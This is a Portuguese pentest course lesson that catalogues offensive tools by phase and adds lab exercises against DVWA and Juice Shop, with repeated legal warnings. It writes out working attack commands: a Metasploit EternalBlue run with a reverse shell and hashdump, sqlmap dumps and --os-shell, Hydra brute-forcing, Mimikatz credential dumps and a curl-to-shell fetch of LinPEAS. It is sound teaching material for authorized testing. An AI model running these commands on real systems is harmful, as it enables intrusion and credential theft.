Uma coleção de ferramentas úteis para diversas situações em segurança da informação.
Uso Legal e Ético
O uso de ferramentas ofensivas sem autorização explícita é crime previsto no Art. 154-A do Código Penal Brasileiro (“Invasão de Dispositivo Informático”), com pena de reclusão de 1 a 4 anos e multa. Toda prática desta aula deve ocorrer em laboratório controlado ou em alvos para os quais você possui autorização por escrito. Documente sempre o escopo, as regras de engajamento (Rules of Engagement) e as ações realizadas.
🗺️ Panorama Geral: Fases do Pentest e Ferramentas
O teste de invasão segue metodologias reconhecidas internacionalmente. As principais são:
PTES (Penetration Testing Execution Standard): 7 fases, do planejamento à geração de relatório.
OWASP WSTG (Web Security Testing Guide): foco em aplicações web, checklist detalhada de vulnerabilidades.
NIST SP 800-115: padrão formal para ambientes corporativos e de conformidade.
MITRE ATT&CK: framework de táticas, técnicas e procedimentos (TTPs) de atacantes reais, útil para emulação adversária em red team.
A combinação mais usada na prática em 2026 é: PTES para o engajamento, OWASP para web e ATT&CK para emulação de ameaças.
flowchart LR
A["1. Pré-engajamento<br/>(Escopo, RoE, NDA)"]
B["2. Reconhecimento<br/>(Passivo e Ativo)"]
C["3. Varredura e Enumeração<br/>(Portas, Serviços, Versões)"]
D["4. Análise de Vulnerabilidades<br/>(Identificar falhas)"]
E["5. Exploração<br/>(Ganhar acesso)"]
F["6. Pós-exploração<br/>(Pivot, Escalada, Persistência)"]
G["7. Relatório<br/>(Evidências, Remediações)"]
A --> B --> C --> D --> E --> F --> G
B --> B1["nmap -sn<br/>theHarvester<br/>recon-ng<br/>Shodan<br/>Maltego"]
C --> C1["nmap -sV<br/>gobuster<br/>ffuf<br/>nikto<br/>whatweb"]
D --> D1["nessus<br/>openvas<br/>nikto<br/>searchsploit"]
E --> E1["Metasploit<br/>sqlmap<br/>Burp Suite<br/>hydra"]
F --> F1["Mimikatz<br/>BloodHound<br/>LinPEAS<br/>WinPEAS<br/>socat<br/>netcat"]
🔍 Fase 1: Reconhecimento (Reconnaissance)
Reconhecimento Passivo vs. Ativo
Passivo: coleta de informações sem interação direta com o alvo (OSINT). Ativo: interação direta com sistemas do alvo, podendo gerar logs.
theHarvester: OSINT de E-mails, Subdomínios e Hosts
Ferramenta essencial para reconhecimento passivo: coleta e-mails, subdomínios, IPs e nomes de hosts a partir de fontes públicas (Google, Bing, LinkedIn, Shodan, etc.).
# Coletar e-mails e subdomínios de um domínio usando múltiplas fontestheHarvester -d alvo.com.br -b google,bing,linkedin -l 500# Usar Shodan como fonte (requer API key)theHarvester -d alvo.com.br -b shodan
recon-ng: Framework de OSINT Modular
Framework modular para reconhecimento, semelhante ao Metasploit, mas focado em OSINT.
# Iniciar recon-ngrecon-ng# Dentro do framework: carregar módulo de busca de contatosmarketplace install recon/domains-contacts/whois_pocsmodules load recon/domains-contacts/whois_pocsoptions set SOURCE alvo.com.brrun
Shodan: Motor de Busca para Dispositivos Conectados
Shodan indexa dispositivos IoT, câmeras, servidores e sistemas SCADA expostos na internet. Útil para reconhecimento passivo de infraestrutura.
Filtros úteis: hostname:alvo.com.br, port:3389 country:BR, org:"Nome da Empresa"
Maltego: Mapeamento Visual de Relações (OSINT)
Ferramenta gráfica para correlacionar entidades: domínios, IPs, pessoas, organizações. Muito usada em inteligência corporativa e investigações.
# Instalar no Kali (Community Edition gratuita)apt install maltego
📡 Fase 2: Varredura e Enumeração 🔎
Ferramentas de Varredura
Nesta fase, o objetivo é mapear portas abertas, serviços em execução, versões de software e possíveis vetores de ataque.
nmap: O Canivete Suíço da Varredura de Rede
O nmap é a ferramenta mais usada em reconhecimento ativo. Permite descobrir hosts ativos, portas abertas, serviços, versões e até o sistema operacional.
# Descoberta de hosts na rede (ping scan)nmap -sn 192.168.1.0/24# Varredura de portas comuns com detecção de serviço e versãonmap -sV -sC 192.168.1.10# Varredura completa: todas as portas, scripts NSE, versões, OSnmap -A -p- 192.168.1.10# Varredura furtiva SYN (requer root)sudo nmap -sS 192.168.1.10# Exportar resultado para XML (útil para relatórios)nmap -oX resultado.xml 192.168.1.10# Varredura com script específico (ex: verificar SMB)nmap --script smb-vuln-ms17-010 192.168.1.10
Scripts NSE
O nmap possui centenas de scripts NSE (Nmap Scripting Engine) em /usr/share/nmap/scripts/. Explore com nmap --script-help "*vuln*".
gobuster: Força Bruta de Diretórios e Subdomínios
Gobuster é escrito em Go e realiza enumeração por força bruta de diretórios web, arquivos, subdomínios DNS e buckets S3. Ainda amplamente utilizado em 2026 por ser rápido e simples.
# Enumeração de diretórios em aplicação webgobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt# Enumeração com extensões específicasgobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt# Enumeração de subdomíniosgobuster dns -d alvo.com.br -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt# Enumeração de virtual hostsgobuster vhost -u http://alvo.com.br -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
ffuf: Fuzzer Web de Alta Performance (Padrão em 2026)
O ffuf (Fuzz Faster U Fool) é escrito em Go e se tornou o fuzzer web preferido a partir de 2022, substituindo dirb e gobuster na maioria dos fluxos. Suporta fuzzing de diretórios, parâmetros, cabeçalhos, corpos POST e endpoints de API.
Nikto verifica servidores e aplicações web em busca de arquivos perigosos conhecidos, configurações desatualizadas, cabeçalhos HTTP inseguros e versões vulneráveis.
# Varredura básicanikto -h http://192.168.1.10# Com autenticação HTTP Basicnikto -h http://192.168.1.10 -id usuario:senha# Varredura em porta específicanikto -h 192.168.1.10 -p 8080# Salvar resultado em HTMLnikto -h http://192.168.1.10 -o relatorio.html -Format html
WhatWeb: Fingerprinting de Tecnologias Web
Identifica CMS (WordPress, Joomla), frameworks, linguagens de servidor, versões e plugins.
# Identificação básicawhatweb http://192.168.1.10# Modo agressivo (mais detalhado)whatweb -a 3 http://192.168.1.10# Varredura de múltiplos alvoswhatweb --input-file alvos.txt
💥 Fase 3: Análise de Vulnerabilidades e Exploração 🎯
Atenção
As ferramentas desta seção só devem ser usadas em ambientes de laboratório ou com autorização por escrito. O uso não autorizado é crime (Art. 154-A CP).
Metasploit Framework: A Plataforma de Exploração
O Metasploit é o framework de exploração mais completo do mundo. Possui mais de 2.000 exploits, centenas de payloads, encoders e módulos de pós-exploração (keyloggers, Mimikatz, pivoting).
# Iniciar o console do Metasploitmsfconsole# Dentro do msfconsole:# Buscar exploit para uma vulnerabilidadesearch ms17-010# Usar um módulouse exploit/windows/smb/ms17_010_eternalblue# Ver opções do móduloshow options# Configurar alvoset RHOSTS 192.168.1.10# Configurar payloadset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.1.100# Executarrun# Dentro do Meterpreter (pós-exploração):sysinfo # Informações do sistemagetuid # Usuário atualgetsystem # Tentar escalar para SYSTEMhashdump # Extrair hashes de senhashell # Abrir shell do SOupload arquivo # Enviar arquivo ao alvodownload arquivo # Baixar arquivo do alvo
searchsploit: Busca Offline de Exploits
O searchsploit permite buscar exploits no banco do Exploit-DB sem internet.
searchsploit apache 2.4searchsploit -x exploits/linux/remote/12345.py # Ver códigosearchsploit -m exploits/linux/remote/12345.py # Copiar para o diretório atual
sqlmap: Automação de SQL Injection
Detecta e explora automaticamente vulnerabilidades de SQL Injection em parâmetros de aplicações web.
# Teste básico em URL com parâmetrosqlmap -u "http://192.168.1.10/page.php?id=1"# Testar todos os parâmetrossqlmap -u "http://192.168.1.10/page.php?id=1" --level=3 --risk=2# Enumerar bancos de dadossqlmap -u "http://192.168.1.10/page.php?id=1" --dbs# Enumerar tabelas de um bancosqlmap -u "http://192.168.1.10/page.php?id=1" -D nome_banco --tables# Despejar conteúdo de uma tabelasqlmap -u "http://192.168.1.10/page.php?id=1" -D nome_banco -T usuarios --dump# Testar requisição POST (salvar com Burp e usar -r)sqlmap -r request.txt --dbs# Tentar obter shell no servidorsqlmap -u "http://192.168.1.10/page.php?id=1" --os-shell
Burp Suite: Proxy e Analisador de Aplicações Web
O Burp Suite é a suíte mais completa para testes de segurança em aplicações web. Intercepta, modifica e repete requisições HTTP/HTTPS.
Módulos principais:
Proxy: intercepta requisições entre o browser e o servidor.
Repeater: modifica e reenvia requisições manualmente.
Intruder: automação de ataques (brute force, fuzzing).
Scanner (Pro): varredura automática de vulnerabilidades.
Decoder: codifica/decodifica dados (Base64, URL encoding, etc.).
# Iniciar no Kaliburpsuite# Configurar o browser para usar proxy: 127.0.0.1:8080# Instalar certificado do Burp no browser para interceptar HTTPS
Burp Suite Community vs. Pro
A versão Community é gratuita e inclui Proxy, Repeater, Decoder e Intruder (limitado). A versão Pro adiciona Scanner automático e Intruder sem limitações.
Hydra: Força Bruta de Autenticação
Hydra realiza ataques de força bruta e dicionário contra serviços de autenticação: SSH, FTP, HTTP, SMB, RDP, MySQL, SMTP, entre outros.
# Força bruta SSH com lista de senhashydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10# Força bruta com lista de usuários e senhashydra -L users.txt -P passwords.txt ssh://192.168.1.10# Força bruta em formulário HTTP POSThydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Senha incorreta"# Força bruta FTPhydra -l ftp_user -P passwords.txt ftp://192.168.1.10# Força bruta RDP (Remote Desktop)hydra -l administrator -P passwords.txt rdp://192.168.1.10
Dicionários de Senhas
O rockyou.txt é o wordlist mais famoso para testes. No Kali: /usr/share/wordlists/rockyou.txt.gz (descompactar com gunzip). A coleção SecLists (disponível em /usr/share/wordlists/SecLists/ ou no GitHub) é ainda mais abrangente.
🔐 Fase 4: Pós-Exploração e Escalada de Privilégios ⬆️
Pós-Exploração
Após obter acesso inicial, o objetivo é: manter persistência, escalar privilégios, mover-se lateralmente pela rede e exfiltrar dados de interesse (tudo dentro do escopo autorizado).
LinPEAS e WinPEAS: Enumeração de Vetores de Escalada
Scripts de enumeração automática para identificar vetores de escalada de privilégios em sistemas Linux e Windows.
# LinPEAS: executar no alvo Linux após obter shellcurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh# Ou transferir e executarwget http://SEU_IP/linpeas.shchmod +x linpeas.sh./linpeas.sh | tee linpeas_output.txt# WinPEAS: executar no alvo Windows (via Meterpreter ou shell)# Transferir winPEAS.exe e executar.\winPEAS.exe
GTFOBins e LOLBAS
GTFOBins (gtfobins.github.io) é um catálogo de binários Unix que podem ser usados para escalar privilégios ou contornar restrições. LOLBAS (lolbas-project.github.io) é o equivalente para Windows. Consulte ao encontrar binários SUID ou permissões sudo incomuns.
BloodHound: Mapeamento de Active Directory
BloodHound é uma ferramenta essencial para testes em ambientes Windows com Active Directory. Usa teoria de grafos para visualizar e encontrar caminhos de ataque, incluindo rotas de escalada de privilégios e movimentação lateral.
# Instalar BloodHound e neo4j no Kaliapt install bloodhound neo4j# Iniciar neo4j (banco de dados de grafos)neo4j start# Coletar dados do AD com SharpHound (executar no Windows alvo).\SharpHound.exe --CollectionMethods All# Ou usar o coletor Python (sem precisar executar no Windows)bloodhound-python -u usuario -p senha -d dominio.local -c All# Iniciar BloodHound e importar o ZIP gerado pelo SharpHoundbloodhound# Interface gráfica: importar arquivo ZIP e executar queries pré-definidas# Ex: "Shortest Paths to Domain Admins"
Mimikatz: Extração de Credenciais Windows
Mimikatz é a ferramenta mais famosa para extração de hashes, tickets Kerberos e senhas em texto claro da memória de processos Windows. Já está integrado ao Metasploit como módulo pós-exploração.
# Via Meterpreter (após exploração com Metasploit)load kiwicreds_all # Extrair todas as credenciaislsa_dump_sam # Dump do banco SAMlsa_dump_secrets # Dump de segredos LSA
John the Ripper: Quebra de Hashes
John the Ripper suporta centenas de formatos de hash: Unix crypt, MD5, SHA1/256/512, NTLM, bcrypt, Kerberos, entre outros.
# Quebrar hashes do arquivo /etc/shadowjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# Identificar formato do hash automaticamentejohn --list=formats | grep -i md5# Quebrar hash específico com formato definidojohn --format=NT --wordlist=rockyou.txt hashes_ntlm.txt# Retomar sessão interrompidajohn --restore# Ver senhas já quebradasjohn --show hash.txt
hashcat: Quebra de Hashes com GPU
Hashcat é a ferramenta de quebra de hashes mais rápida, usando a GPU para acelerar o processo. Suporta ataques de dicionário, força bruta, máscara e combinação.
# Identificar tipo do hash (uso online: hash-identifier ou hashid)hashid '$1$xyz$hash...'# Ataque de dicionário (modo -a 0)hashcat -m 1000 -a 0 hashes_ntlm.txt rockyou.txt# Ataque de máscara: senhas 8 chars, minúsculas + númeroshashcat -m 1000 -a 3 hashes.txt '?l?l?l?l?d?d?d?d'# Modos de hash comuns:# -m 0 = MD5# -m 100 = SHA1# -m 1000 = NTLM (Windows)# -m 1800 = sha512crypt (Linux /etc/shadow)# -m 13100 = Kerberoasting (TGS-REP)# -m 22000 = WPA2# Ver resultadohashcat -m 1000 hashes.txt --show
🌐 Fase 5: Ferramentas para Aplicações Web 🕸️
OWASP Top 10: O Mapa das Vulnerabilidades Web
O OWASP Top 10 é o referencial mais importante para segurança de aplicações web. Em 2021/2025, as categorias principais são:
Posição
Categoria
Exemplos de Ferramentas
A01
Controle de Acesso Quebrado
Burp Suite, ffuf
A02
Falhas Criptográficas
testssl.sh, SSLScan
A03
Injeção (SQL, XSS, etc.)
sqlmap, Burp Suite
A04
Design Inseguro
Revisão manual
A05
Configuração Incorreta
Nikto, nmap
A06
Componentes Vulneráveis
retire.js, Dependency-Check
A07
Falhas de Autenticação
Hydra, Burp Intruder
A08
Falhas de Integridade de Software
Revisão manual
A09
Falha de Log e Monitoramento
Revisão manual
A10
SSRF (Server-Side Request Forgery)
Burp Suite
CyberChef: Análise e Transformação de Dados
CyberChef é a “faca suíça” para análise de dados. Codifica, decodifica, converte, analisa hashes, descomprime e transforma dados de dezenas de formas. Disponível online e offline.
dig axfr @ns.alvo.com alvo.com (tentativa de zone transfer)
whois
Recon
Informações de domínio
whois alvo.com.br
🖥️ Ambientes de Prática (Lab Targets)
Alvos de Laboratório Legais
Para praticar sem cometer crime, use ambientes intencionalmente vulneráveis:
Ambiente
Tipo
Instalação
Uso Principal
DVWA (Damn Vulnerable Web App)
Web
Docker: docker run -p 80:80 vulnerables/web-dvwa
SQL Injection, XSS, CSRF, LFI
OWASP Juice Shop
Web
Docker: docker run -p 3000:3000 bkimminich/juice-shop
OWASP Top 10 completo
Metasploitable 2/3
VM
VirtualBox/VMware
Exploração geral, Metasploit
VulnHub
VM
Download em vulnhub.com
Máquinas CTF diversas
Hack The Box
Online
hackthebox.com
Pentest real, CTF online
TryHackMe
Online
tryhackme.com
Trilhas guiadas para iniciantes
PicoCTF
Online
picoctf.org
CTF educacional
📊 Catálogo Consolidado: Ferramentas por Fase
Ferramenta
Fase
Tipo
Comando Básico
SO
theHarvester
Reconhecimento passivo
OSINT
theHarvester -d alvo.com -b google
Linux
recon-ng
Reconhecimento passivo
Framework OSINT
recon-ng
Linux
Shodan
Reconhecimento passivo
OSINT web
shodan host 1.2.3.4
Online/CLI
Maltego
Reconhecimento passivo
OSINT gráfico
maltego
Win/Lin/Mac
nmap
Varredura
Rede
nmap -sV -sC 192.168.1.10
Cross
gobuster
Varredura web
Fuzzing
gobuster dir -u http://alvo -w wordlist.txt
Linux
ffuf
Varredura web
Fuzzing
ffuf -w wordlist.txt -u http://alvo/FUZZ
Cross
nikto
Análise de vuln.
Web scanner
nikto -h http://alvo
Linux
whatweb
Varredura web
Fingerprinting
whatweb http://alvo
Linux
Metasploit
Exploração
Framework
msfconsole
Linux
searchsploit
Análise de vuln.
Exploit search
searchsploit apache 2.4
Linux
Burp Suite
Web
Proxy/Scanner
burpsuite
Cross
sqlmap
Exploração
SQL Injection
sqlmap -u "http://alvo?id=1" --dbs
Cross
Hydra
Exploração
Brute force
hydra -l admin -P rockyou.txt ssh://alvo
Linux
LinPEAS
Pós-exploração
Escala priv. Linux
./linpeas.sh
Linux
WinPEAS
Pós-exploração
Escala priv. Windows
.\winPEAS.exe
Windows
BloodHound
Pós-exploração
AD analysis
bloodhound
Linux/Win
Mimikatz
Pós-exploração
Credenciais
Via Metasploit: load kiwi
Windows
John the Ripper
Pós-exploração
Hash cracking
john --wordlist=rockyou.txt hashes.txt
Cross
hashcat
Pós-exploração
Hash cracking GPU
hashcat -m 1000 -a 0 hashes.txt rockyou.txt
Cross
netcat
Pós-exploração
Shell reverso
nc -lvnp 4444
Cross
Wireshark
Análise
Tráfego de rede
wireshark
Cross
CyberChef
Análise
Transformação dados
Navegador
Online
tcpdump
Análise
Captura
tcpdump -i eth0
Linux
📱 Apps Úteis
Aplicativos Móveis
App
Plataforma
Uso
Fing
iOS/Android
Scanner de rede
Termux
Android
Terminal Linux
WiFi Analyzer
Android
Análise de redes Wi-Fi
nzyme
Android
Monitoramento 802.11
🧪 Atividades Práticas
🧪 Atividade 1: Instalando e Rodando ffuf, Fuzzing de Diretórios no DVWA
Objetivo: instalar o ffuf e realizar fuzzing de diretórios em um alvo de laboratório (DVWA).
Pré-requisito: DVWA rodando localmente via Docker.
# 1. Subir o DVWA no Docker (se ainda não estiver rodando)docker run -d -p 80:80 vulnerables/web-dvwa# 2. Instalar ffuf (já vem no Kali; se não tiver):sudo apt install ffuf# Ou via Go:go install github.com/ffuf/ffuf/v2@latest# 3. Verificar instalaçãoffuf -V# 4. Realizar fuzzing de diretórios no DVWAffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost/FUZZ# 5. Filtrar resultados: exibir só respostas HTTP 200 e 301ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost/FUZZ -mc 200,301# 6. Buscar arquivos .php especificamenteffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost/FUZZ -e .php -mc 200
Resultado esperado: o ffuf listará diretórios e arquivos do DVWA como /login.php, /setup.php, /dvwa/, /config/, entre outros. Compare com o que você consegue acessar no browser.
Reflexão: o que cada diretório encontrado revela sobre a estrutura da aplicação? Algum deles expõe informações sensíveis?
🧪 Atividade 2: Montando Seu Toolkit Pessoal por Fase do Pentest
Objetivo: cada aluno deve construir sua própria tabela de toolkit, escolhendo ao menos 2 ferramentas por fase e justificando a escolha.
Instruções:
Copie o template abaixo em seu caderno/Obsidian.
Para cada fase, escolha as ferramentas que prefere (pode incluir ferramentas desta aula ou outras que pesquisar).
Escreva um comando básico real para cada ferramenta escolhida.
Apresente para a turma e justifique suas escolhas.
Template de Toolkit Pessoal:
Fase
Ferramenta 1
Comando
Ferramenta 2
Comando
Reconhecimento passivo
Varredura de rede
Varredura web
Análise de vulnerabilidades
Exploração
Pós-exploração / Escalada
Cracking de senhas
Relatório / Evidências
Dica: não existe toolkit único certo. O importante é conhecer os pontos fortes de cada ferramenta e quando aplicar cada uma.
🧪 Atividade 3: Reconhecimento com gobuster no Juice Shop
Objetivo: usar o gobuster para descobrir endpoints ocultos no OWASP Juice Shop, depois validar manualmente no browser.
Pré-requisito: Juice Shop rodando localmente.
# 1. Subir o Juice Shopdocker run -d -p 3000:3000 bkimminich/juice-shop# 2. Enumeração básica de diretóriosgobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirb/common.txt# 3. Enumeração com extensão .js (Juice Shop usa muito JavaScript)gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirb/common.txt -x js,json,txt# 4. Tentar encontrar endpoints de APIgobuster dir -u http://localhost:3000/api -w /usr/share/wordlists/dirb/common.txt# 5. Comparar com ffuf (mesma tarefa, ferramenta diferente)ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost:3000/FUZZ -mc 200,301,302
Resultado esperado: endpoints como /api/Users, /ftp/, /assets/, /metrics, e rotas de admin ocultas. Alguns diretórios permitem listar arquivos, o que já é uma vulnerabilidade de configuração.
Entrega: um relatório simples com: lista de endpoints encontrados, status HTTP de cada um, e quais representam risco (ex: FTP público, endpoints de admin sem autenticação).
⚠️ Considerações Éticas e Legais
Uso Ético e Responsável
Use ferramentas apenas em alvos autorizados (laboratório, bug bounty com escopo definido, contrato assinado).
Rastreamento de pessoas sem consentimento é ilegal (Lei Geral de Proteção de Dados, Lei 13.709/2018).
Ataque a sistemas sem autorização é crime pelo Art. 154-A do Código Penal (pena: 1 a 4 anos + multa).
Sempre documente suas atividades durante pentests: escopo, comandos, evidências, horários.
Em projetos de pesquisa ou TCC, obtenha aprovação do Comitê de Ética quando aplicável.
A divulgação responsável de vulnerabilidades (responsible disclosure) é a prática correta ao encontrar falhas em sistemas reais.
Ética em Segurança
“A diferença entre um pentester e um criminoso não é o conhecimento, são a autorização e a intenção.”